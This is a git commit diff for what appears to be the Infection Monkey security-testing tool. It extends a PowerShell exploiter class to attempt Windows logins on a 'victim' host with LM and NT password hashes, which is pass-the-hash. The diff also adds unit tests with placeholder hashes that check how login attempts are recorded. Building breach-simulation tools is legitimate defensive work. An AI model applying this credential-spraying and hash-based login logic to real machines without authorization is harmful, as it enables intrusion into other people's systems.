Agent: Attempt login with LM and NT hashes in PowerShellExploiter

This commit is contained in:
Mike Salvatore 2021-09-02 12:56:50 -04:00
parent a2e6b0bfbd
commit 501fc162b4
2 changed files with 92 additions and 7 deletions

View File

@ -55,8 +55,8 @@ class PowerShellExploiter(HostExploiter):
credentials = get_credentials(
self._config.exploit_user_list,
self._config.exploit_password_list,
[],
[],
self._config.exploit_lm_hash_list,
self._config.exploit_ntlm_hash_list,
is_windows_os(),
)
auth_options = get_auth_options(credentials, is_https)
@ -117,20 +117,30 @@ class PowerShellExploiter(HostExploiter):
logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}"
f"{creds.username}, Secret Type: {creds.secret_type.name}"
)
self.report_login_attempt(True, creds.username, creds.secret)
self._report_login_attempt(True, creds)
return client
except Exception as ex: # noqa: F841
logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Error: {ex}"
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
)
self.report_login_attempt(False, creds.username, creds.secret)
self._report_login_attempt(False, creds)
return None
def _report_login_attempt(self, result: bool, credentials: Credentials):
if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]:
self.report_login_attempt(result, credentials.username, password=credentials.secret)
elif credentials.secret_type == SecretType.LM_HASH:
self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret)
elif credentials.secret_type == SecretType.NT_HASH:
self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret)
else:
raise ValueError(f"Unknown secret type {credentials.secret_type}")
def _execute_monkey_agent_on_victim(self) -> bool:
arch = self._client.get_host_architecture()
self.is_32bit = arch == WIN_ARCH_32

View File

@ -11,6 +11,8 @@ from infection_monkey.model.host import VictimHost
USER_LIST = ["user1", "user2"]
PASSWORD_LIST = ["pass1", "pass2"]
LM_HASH_LIST = ["bogo_lm_1"]
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
DROPPER_TARGET_PATH_32 = "C:\\agent32"
DROPPER_TARGET_PATH_64 = "C:\\agent64"
@ -19,6 +21,8 @@ Config = namedtuple(
[
"exploit_user_list",
"exploit_password_list",
"exploit_lm_hash_list",
"exploit_ntlm_hash_list",
"dropper_target_path_win_32",
"dropper_target_path_win_64",
],
@ -33,9 +37,17 @@ class TestAuthenticationError(Exception):
def powershell_exploiter(monkeypatch):
host = VictimHost("127.0.0.1")
pe = powershell.PowerShellExploiter(host)
pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64)
pe._config = Config(
USER_LIST,
PASSWORD_LIST,
LM_HASH_LIST,
NT_HASH_LIST,
DROPPER_TARGET_PATH_32,
DROPPER_TARGET_PATH_64,
)
monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError)
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
# it's necessary to avoid having to deal with the monkeyfs
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
@ -141,3 +153,66 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter):
success = powershell_exploiter.exploit_host()
assert not success
def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter):
mock_client = MagicMock()
mock_client.get_host_architecture = lambda: WIN_ARCH_32
mock_client.copy_file = MagicMock(return_value=True)
mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception)
def allow_ntlm(_, credentials: Credentials, auth_options: AuthOptions):
if credentials.username == USER_LIST[1] and credentials.secret == NT_HASH_LIST[1]:
return mock_client
raise TestAuthenticationError
mock_powershell_client = MagicMock(side_effect=allow_ntlm)
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
powershell_exploiter.exploit_host()
assert {
"result": False,
"user": USER_LIST[1],
"password": None,
"lm_hash": "",
"ntlm_hash": "",
"ssh_key": "",
} in powershell_exploiter.exploit_attempts
assert {
"result": False,
"user": USER_LIST[1],
"password": PASSWORD_LIST[0],
"lm_hash": "",
"ntlm_hash": "",
"ssh_key": "",
} in powershell_exploiter.exploit_attempts
assert {
"result": False,
"user": USER_LIST[0],
"password": "",
"lm_hash": LM_HASH_LIST[0],
"ntlm_hash": "",
"ssh_key": "",
} in powershell_exploiter.exploit_attempts
assert {
"result": False,
"user": USER_LIST[1],
"password": "",
"lm_hash": "",
"ntlm_hash": NT_HASH_LIST[0],
"ssh_key": "",
} in powershell_exploiter.exploit_attempts
assert {
"result": True,
"user": USER_LIST[1],
"password": "",
"lm_hash": "",
"ntlm_hash": NT_HASH_LIST[1],
"ssh_key": "",
} in powershell_exploiter.exploit_attempts